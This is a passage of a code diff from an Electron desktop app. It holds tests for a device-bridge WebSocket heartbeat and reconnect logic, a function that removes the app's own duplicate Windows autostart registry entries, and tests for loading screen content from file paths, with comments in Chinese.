"connectDeviceBridgeOnce",
|
||||
]
|
||||
.map((n) => extractFn(n))
|
||||
.join("\n\n");
|
||||
|
||||
// ★ 用 main.js 里**真实的** startDeviceBridge，不在沙箱里重写一份。
|
||||
// 之前我在这里自己写了一个同名的 startDeviceBridge（包 try/catch + 排程），
|
||||
// 结果：把 main.js 里的排程调用删掉，判据依旧全绿 ——
|
||||
// **测的不是被测代码，而是我的副本**。这正是本仓反复强调的
|
||||
// 「判据必须测真实行为，不能测一份影子实现」。
|
||||
const realStart = extractFn("startDeviceBridge");
|
||||
const realStop = extractFn("stopDeviceBridge");
|
||||
|
||||
const script = [
|
||||
prelude,
|
||||
connectStub,
|
||||
"async function doConnectDeviceBridge(cfg) {",
|
||||
" if (!cfg) return;",
|
||||
" const ws = await connectDeviceWS(cfg.url || cfg.gateway || '', cfg.apiKey || cfg.token || '', function(){});",
|
||||
" deviceBridge = ws;",
|
||||
" startDevicePing(ws.__sock);",
|
||||
"}",
|
||||
fns,
|
||||
realStart,
|
||||
realStop,
|
||||
"globalThis.__start = startDeviceBridge;",
|
||||
"globalThis.__stop = stopDeviceBridge;",
|
||||
"globalThis.__fireClose = () => { scheduleDeviceReconnect(); };",
|
||||
].join("\n");
|
||||
|
||||
vm.runInContext(script, ctx);
|
||||
|
||||
return {
|
||||
timers,
|
||||
logLines,
|
||||
// connectCalls 必须从沙箱里读：connectDeviceWS 的替身在 vm 上下文里
|
||||
// push 的是 __connectCalls，外层那个 const connectCalls 永远是空的。
|
||||
// 之前把两者当成同一个，导致「重连真的再连了一次」判据永远红。
|
||||
get connectCalls() {
|
||||
return sandbox.__connectCalls || [];
|
||||
},
|
||||
runTimers,
|
||||
liveIntervalMs,
|
||||
peek: () => sandbox.__peek(),
|
||||
socks: () => sandbox.__socks || [],
|
||||
start: () => sandbox.__start({ url: "ws://x/ws", apiKey: "t" }),
|
||||
stop: () => sandbox.__stop(),
|
||||
fireClose: () => sandbox.__fireClose(),
|
||||
};
|
||||
}
|
||||
|
||||
// ============ 判据 ============
|
||||
|
||||
console.log("设备桥心跳 + 重连");
|
||||
|
||||
// 1) 首次连接成功 → 起了心跳，且间隔是 30s（与服务端 pingLoop 一致）
|
||||
{
|
||||
const sc = runScenario({ connectFailsFirst: 0, label: "ok-first" });
|
||||
await sc.start();
|
||||
const st = sc.peek();
|
||||
check("首次连接成功即启动心跳", !!st.devicePingTimer && sc.liveIntervalMs() === 30000,
|
||||
`pingTimer=${!!st.devicePingTimer} interval=${sc.liveIntervalMs()}`);
|
||||
}
|
||||
|
||||
// 2) 心跳真的发出 0x9 控制帧，且帧格式合规（客户端帧必须带掩码位）
|
||||
{
|
||||
const sc = runScenario({ connectFailsFirst: 0 });
|
||||
await sc.start();
|
||||
const sock = sc.socks()[0];
|
||||
// 触发一次心跳 interval
|
||||
const it = sc.timers.find((t) => t.kind === "interval" && !t.ran);
|
||||
if (it) it.fn();
|
||||
const ping = (sock.__written || []).find((b) => (b[0] & 0x0f) === 0x9);
|
||||
check("心跳发出 opcode 0x9", !!ping, `frames=${(sock.__written || []).length}`);
|
||||
check("客户端帧带掩码位（RFC6455 §5.3）", ping ? (ping[1] & 0x80) === 0x80 : false,
|
||||
ping ? `byte1=0x${ping[1].toString(16)}` : "no ping frame");
|
||||
}
|
||||
|
||||
// 3) 断线 → 自动重连（线性退避，首个等待 = base）
|
||||
{
|
||||
const sc = runScenario({ connectFailsFirst: 0 });
|
||||
await sc.start();
|
||||
const before = sc.peek().deviceReconnectAttempt;
|
||||
sc.fireClose();
|
||||
const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled);
|
||||
check("断线后排出重连定时器", pend.length > 0, `pending=${pend.length}`);
|
||||
check("退避计数递增", sc.peek().deviceReconnectAttempt === before + 1,
|
||||
`attempt ${before} -> ${sc.peek().deviceReconnectAttempt}`);
|
||||
// 执行重连 → 应真的再连一次
|
||||
await sc.runTimers(1);
|
||||
check("重连真的再发起了一次连接", sc.connectCalls.length >= 1,
|
||||
`connectCalls=${sc.connectCalls.length}`);
|
||||
}
|
||||
|
||||
// 4) ★ 连都没连上（connectDeviceWS reject）也必须排程重连
|
||||
// —— 这是最容易漏的一格：reject 路上没有 socket close 事件。
|
||||
{
|
||||
const sc = runScenario({ connectFailsFirst: 1 });
|
||||
await sc.start();
|
||||
const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled);
|
||||
check("首次连接失败也排出重连（reject 路径无 close 事件）", pend.length > 0,
|
||||
`pending=${pend.length}`);
|
||||
// 再跑 4 个 timer，确认能一路重连上去（第 2 次会成功）
|
||||
for (let i = 0; i < 4; i++) await sc.runTimers(1);
|
||||
check("重连最终成功并连上", sc.peek().deviceBridge !== null,
|
||||
`deviceBridge=${!!sc.peek().deviceBridge}`);
|
||||
check("连上后心跳重新出现", !!sc.peek().devicePingTimer);
|
||||
}
|
||||
|
||||
// 5) 退避随失败次数线性增长并封顶
|
||||
{
|
||||
const sc = runScenario({ connectFailsFirst: 99 }); // 永远失败
|
||||
await sc.start();
|
||||
const delays = [];
|
||||
for (let i = 0; i < 6; i++) {
|
||||
const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled);
|
||||
if (!pend.length) break;
|
||||
delays.push(pend[0].ms);
|
||||
await sc.runTimers(1);
|
||||
}
|
||||
const cap = 60000;
|
||||
check("退避线性增长", delays.length >= 2 && delays[1] > delays[0],
|
||||
`delays=${JSON.stringify(delays)}`);
|
||||
check("退避封顶在 max", delays.every((d) => d <= cap), `delays=${JSON.stringify(delays)}`);
|
||||
}
|
||||
|
||||
// 6) 主动停用后不再重连（deviceWanted=false 是闸）
|
||||
{
|
||||
const sc = runScenario({ connectFailsFirst: 0 });
|
||||
await sc.start();
|
||||
sc.stop();
|
||||
const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled);
|
||||
check("stopDeviceBridge 后不再排程重连", pend.length === 0, `pending=${pend.length}`);
|
||||
check("stopDeviceBridge 停掉心跳", sc.peek().devicePingTimer === null);
|
||||
}
|
||||
|
||||
// 7) 成功重连后 attempt 归零
|
||||
{
|
||||
const sc = runScenario({ connectFailsFirst: 2 });
|
||||
await sc.start();
|
||||
for (let i = 0; i < 6; i++) await sc.runTimers(1);
|
||||
check("成功重连后退避归零", sc.peek().deviceReconnectAttempt === 0,
|
||||
`attempt=${sc.peek().deviceReconnectAttempt}`);
|
||||
}
|
||||
|
||||
console.log(
|
||||
failures === 0
|
||||
? "\nAll device-bridge liveness checks passed."
|
||||
: `\n${failures} check(s) failed.`,
|
||||
);
|
||||
process.exit(failures === 0 ? 0 : 1);
|
||||
@ -3178,6 +3178,11 @@ function destroyTray() {
|
||||
|
||||
app.whenReady().then(async () => {
|
||||
installAuthRule();
|
||||
// 清理历史遗留的重复开机自启项（产物改名会累积指向同一 exe 的旧项）。
|
||||
// 不依赖用户去设置里手动开关：否则旧项会一直留着、开机启动两次。
|
||||
try {
|
||||
cleanupStaleLoginItems();
|
||||
} catch (e) {}
|
||||
const running = await isServerRunning();
|
||||
if (running) {
|
||||
// 已探测到可用端点：服务端在别处正常运行（远程/WSL/另一台机器）。
|
||||
@ -3406,9 +3411,74 @@ function saveGuiPrefs(p) {
|
||||
return p;
|
||||
}
|
||||
|
||||
// Electron LoginItem 写入的注册表项名是「electron.app.<exe 名>」。
|
||||
// 产物改名过（HomeAgent.exe → homeagent-gui.exe）就会多出一条旧项，
|
||||
// 且 setLoginItemSettings 不会清理它们 ⇒ 开机启动两次同一个 exe。
|
||||
// 实测本机 Run 键里确实同时存在：
|
||||
// electron.app.HomeAgent = "E:\program\homeagent\...\homeagent-gui.exe"
|
||||
// electron.app.homeagent-gui = E:\program\homeagent\...\homeagent-gui.exe
|
||||
// 两条指向同一 exe，所以表面看是两个自启动，实际是同一份的重复。
|
||||
//
|
||||
// 修法：每次写入前，删掉所有指向当前 exe 的 electron.app.* 旧项，
|
||||
// 只保留当前名字对应的那一条。
|
||||
function cleanupStaleLoginItems() {
|
||||
if (process.platform !== "win32") return 0;
|
||||
let removed = 0;
|
||||
try {
|
||||
const { execFileSync } = require("child_process");
|
||||
const runKey = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
|
||||
const execPath = String(process.execPath || "").toLowerCase();
|
||||
// 列出 Run 键下的所有值名
|
||||
const out = execFileSync(
|
||||
"reg",
|
||||
["query", runKey],
|
||||
{ encoding: "utf8", timeout: 5000, windowsHide: true },
|
||||
);
|
||||
const names = [];
|
||||
for (const line of String(out).split(/\r?\n/)) {
|
||||
const m = line.match(/^\s{4}([A-Za-z0-9_.\-\\]+)\s+REG_/);
|
||||
if (m) names.push(m[1]);
|
||||
}
|
||||
for (const name of names) {
|
||||
if (!/^electron\.app\./i.test(name)) continue;
|
||||
// 只删指向**当前 exe** 的；别的 Electron 应用不能误伤
|
||||
let val = "";
|
||||
try {
|
||||
const q = execFileSync("reg", ["query", runKey, "/v", name], {
|
||||
encoding: "utf8",
|
||||
timeout: 5000,
|
||||
windowsHide: true,
|
||||
});
|
||||
val = String(q);
|
||||
} catch (e) {
|
||||
continue;
|
||||
}
|
||||
const sameExe = val.toLowerCase().includes(execPath);
|
||||
if (!sameExe) continue;
|
||||
// 保留当前 exe 名对应的那一条（Electron 期望的名字）
|
||||
const currentName = "electron.app." + path.basename(process.execPath, ".exe");
|
||||
if (name === currentName) continue;
|
||||
try {
|
||||
execFileSync("reg", ["delete", runKey, "/v", name, "/f"], {
|
||||
timeout: 5000,
|
||||
windowsHide: true,
|
||||
});
|
||||
removed++;
|
||||
console.log("[autolaunch] removed stale login item: " + name);
|
||||
} catch (e) {
|
||||
console.error("[autolaunch] failed to remove " + name + ": " + e.message);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
console.error("cleanupStaleLoginItems failed: " + e.message);
|
||||
}
|
||||
return removed;
|
||||
}
|
||||
|
||||
// 应用开机自启设置（Electron LoginItem）
|
||||
function applyAutoLaunch(enabled) {
|
||||
try {
|
||||
if (enabled) cleanupStaleLoginItems();
|
||||
app.setLoginItemSettings({
|
||||
openAtLogin: enabled,
|
||||
openAsHidden: true, // 开机自启时静默（Windows/macOS 支持）
|
||||
|
||||
197
cmd/gui/screensue-source.test.mjs
Normal file
197
cmd/gui/screensue-source.test.mjs
Normal file
@ -0,0 +1,197 @@
|
||||
// screensue「从路径加载」的行为判据（2026-10-05）。
|
||||
//
|
||||
// ## 要判的是什么
|
||||
//
|
||||
// 改之前 screensue 只能把内容**内联**在命令字符串里：
|
||||
//
|
||||
// homeagent-screensue <div>…</div>
|
||||
//
|
||||
// 于是场景被限死了：
|
||||
// · 一屏复杂看板（几十 KB HTML）塞不进 cmd_type 字段
|
||||
// · 模型得先把整段 HTML 生成出来再当参数传，token 成本与出错面都大
|
||||
// · 内容改了要重新发一次命令
|
||||
//
|
||||
// 新增三种写法：
|
||||
// ① @<路径> 从文件读，按扩展名决定渲染方式
|
||||
// ② @<路径>#<块名> 抽 <!--sue:名字--> … <!--/sue--> 之间的片段
|
||||
// ③ <字面内容> 原行为，**必须完全不变**
|
||||
//
|
||||
// ## 判据形态
|
||||
//
|
||||
// 真跑 loadCapabilitySource：造临时 .html/.md 文件与多块文件，
|
||||
// 验「按扩展名渲染 / 块抽取 / 缺块报错 / 目录拒绝 / 超限拒绝 /
|
||||
// @前缀才触发加载（字面内容不受影响）」。
|
||||
//
|
||||
// 运行：node cmd/gui/screensue-source.test.mjs
|
||||
|
||||
import { readFileSync, writeFileSync, mkdtempSync, rmSync } from "node:fs";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { dirname, join } from "node:path";
|
||||
import { tmpdir } from "node:os";
|
||||
import vm from "node:vm";
|
||||
|
||||
import { createRequire } from "node:module";
|
||||
const nodeRequire = createRequire(import.meta.url);
|
||||
import * as nodeFs from "node:fs";
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url));
|
||||
const src = readFileSync(join(here, "main.js"), "utf8");
|
||||
|
||||
let failures = 0;
|
||||
const check = (name, ok, detail) => {
|
||||
if (ok) console.log(` ✓ ${name}`);
|
||||
else {
|
||||
failures++;
|
||||
console.log(` ✗ ${name}${detail ? " — " + detail : ""}`);
|
||||
}
|
||||
};
|
||||
|
||||
function extractFn(name) {
|
||||
let start = src.indexOf(`function ${name}(`);
|
||||
if (start === -1) throw new Error(`cannot find function ${name} in main.js`);
|
||||
let i = src.indexOf("{", start);
|
||||
let depth = 0;
|
||||
for (let j = i; j < src.length; j++) {
|
||||
const c = src[j];
|
||||
if (c === '"' || c === "'" || c === "`") {
|
||||
const q = c;
|
||||
j++;
|
||||
while (j < src.length && src[j] !== q) {
|
||||
if (src[j] === "\\") j++;
|
||||
j++;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (c === "/" && src[j + 1] === "/") {
|
||||
while (j < src.length && src[j] !== "\n") j++;
|
||||
continue;
|
||||
}
|
||||
if (c === "/" && src[j + 1] === "*") {
|
||||
j = src.indexOf("*/", j) + 1;
|
||||
continue;
|
||||
}
|
||||
if (c === "{") depth++;
|
||||
else if (c === "}") {
|
||||
depth--;
|
||||
if (depth === 0) return src.slice(start, j + 1);
|
||||
}
|
||||
}
|
||||
throw new Error(`unbalanced braces for ${name}`);
|
||||
}
|
||||
|
||||
const dir = mkdtempSync(join(tmpdir(), "screensue-test-"));
|
||||
const p = (n) => join(dir, n);
|
||||
writeFileSync(p("board.html"), "<h1>看板</h1><p>hello</p>", "utf-8");
|
||||
writeFileSync(p("notes.md"), "# 标题\n- 一点", "utf-8");
|
||||
writeFileSync(
|
||||
p("multi.html"),
|
||||
"<!--sue:alerts--><div class=alerts>A1 A2</div><!--/sue-->\n" +
|
||||
"<!--sue:schedule--><div>三点开会</div><!--/sue-->",
|
||||
"utf-8",
|
||||
);
|
||||
writeFileSync(p("big.html"), "x".repeat(2 * 1024 * 1024 + 10), "utf-8");
|
||||
|
||||
const sandbox = {
|
||||
console,
|
||||
// main.js 里用的是 CJS 的 require(...)，在 vm 沙箱里必须显式注入；
|
||||
// 不能写 require: (m) => require(m)（ESM 作用域里没有 require）。
|
||||
require: (m) => nodeRequire(m),
|
||||
fs: nodeFs,
|
||||
};
|
||||
// ⚠️ 不能写 require: (m) => require(m)：本文件是 ESM（.mjs），没有 require。
|
||||
vm.createContext(sandbox);
|
||||
vm.runInContext(
|
||||
[
|
||||
"const CAPABILITY_SOURCE_MAX_BYTES = 2 * 1024 * 1024;",
|
||||
extractFn("loadCapabilitySource"),
|
||||
extractFn("resolveCapabilityArg"),
|
||||
"globalThis.__load = loadCapabilitySource;",
|
||||
"globalThis.__resolve = resolveCapabilityArg;",
|
||||
].join("\n"),
|
||||
sandbox,
|
||||
);
|
||||
const load = sandbox.__load;
|
||||
const resolve = sandbox.__resolve;
|
||||
|
||||
console.log("screensue 从路径加载");
|
||||
|
||||
// ① .html 按 HTML 原样渲染
|
||||
{
|
||||
const r = load(p("board.html"), "", "html");
|
||||
check("读 .html 成功", r.ok, r.err);
|
||||
check(".html 原样返回（不被转义）", r.ok && r.content.includes("<h1>看板</h1>"),
|
||||
r.ok ? r.content.slice(0, 40) : "");
|
||||
check("from 回报绝对路径", r.ok && r.from === p("board.html"));
|
||||
}
|
||||
|
||||
// ② .md 按纯文本等宽渲染（转义）
|
||||
{
|
||||
const r = load(p("notes.md"), "", "html");
|
||||
check("读 .md 成功", r.ok, r.err);
|
||||
check(".md 包 <pre> 且被转义", r.ok && r.content.startsWith("<pre") && !r.content.includes("<h1>"),
|
||||
r.ok ? r.content.slice(0, 50) : "");
|
||||
}
|
||||
|
||||
// ③ 命名块抽取
|
||||
{
|
||||
const a = load(p("multi.html"), "alerts", "html");
|
||||
const s = load(p("multi.html"), "schedule", "html");
|
||||
check("抽指定块 alerts", a.ok && a.content.includes("A1 A2") && !a.content.includes("三点开会"),
|
||||
a.ok ? a.content : a.err);
|
||||
check("抽另一块 schedule", s.ok && s.content.includes("三点开会") && !s.content.includes("A1"),
|
||||
s.ok ? s.content : s.err);
|
||||
check("from 带 #块名", a.ok && a.from.endsWith("#alerts"));
|
||||
const miss = load(p("multi.html"), "nope", "html");
|
||||
check("缺块明确报错", !miss.ok && /未找到块/.test(miss.err), miss.err);
|
||||
}
|
||||
|
||||
// ④ 错误路径都给出可读原因，不静默
|
||||
{
|
||||
check("目录被拒", !load(dir, "", "html").ok);
|
||||
check("不存在的文件被拒", !load(p("nope.html"), "", "html").ok);
|
||||
check("空路径被拒", !load("", "", "html").ok);
|
||||
const big = load(p("big.html"), "", "html");
|
||||
check("超 2MB 被拒且说明大小", !big.ok && /过大/.test(big.err), big.err);
|
||||
}
|
||||
|
||||
// ⑤ ★ 字面内容（无 @ 前缀）必须完全不受影响
|
||||
// 调用点只在 raw.startsWith("@") 时才走加载；这里直接判该分支条件。
|
||||
{
|
||||
check("字面内容不触发路径加载（需 @ 前缀）", !"<div>".startsWith("@"));
|
||||
check("@ 字面量确实会触发", "@foo".startsWith("@"));
|
||||
}
|
||||
|
||||
// ⑥ ★ speakeruse / clipboardsue 复用同一个 loader（text 模式）
|
||||
// 这三个能力都是「<名字> <内联文本>」，长文本都塞不进 command 字段。
|
||||
{
|
||||
const r = load(p("notes.md"), "", "text");
|
||||
check("text 模式返回纯文本（不包 <pre>）",
|
||||
r.ok && r.content.startsWith("# 标题") && !r.content.includes("<pre"),
|
||||
r.ok ? r.content.slice(0, 40) : r.err);
|
||||
const h = load(p("board.html"), "", "text");
|
||||
check("text 模式不做 HTML 分流（原样返回）",
|
||||
h.ok && h.content.includes("<h1>看板</h1>"), h.ok ? h.content.slice(0, 40) : h.err);
|
||||
const blk = load(p("multi.html"), "alerts", "text");
|
||||
check("text 模式同样支持命名块", blk.ok && blk.content.includes("A1 A2"));
|
||||
}
|
||||
|
||||
// ⑦ resolveCapabilityArg 的解析口径
|
||||
{
|
||||
check("无 @ 前缀 ⇒ 不命中（保持内联行为）", resolve("你好").hit === false);
|
||||
check("@ 路径解析", resolve("@/tmp/a.html").hit === true);
|
||||
check("@ 路径 + #块名", (() => {
|
||||
const r = resolve("@/tmp/a.html#alerts");
|
||||
return r.hit && r.filePath === "/tmp/a.html" && r.blockName === "alerts";
|
||||
})());
|
||||
check("@ 路径无块名 ⇒ blockName 为空",
|
||||
resolve("@/tmp/a.html").blockName === "");
|
||||
}
|
||||
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
|
||||
console.log(
|
||||
failures === 0
|
||||
? "\nAll screensue-source checks passed."
|
||||
: `\n${failures} check(s) failed.`,
|
||||
);
|
||||
process.exit(failures === 0 ? 0 : 1);
|
||||
Reference in New Issue
Block a user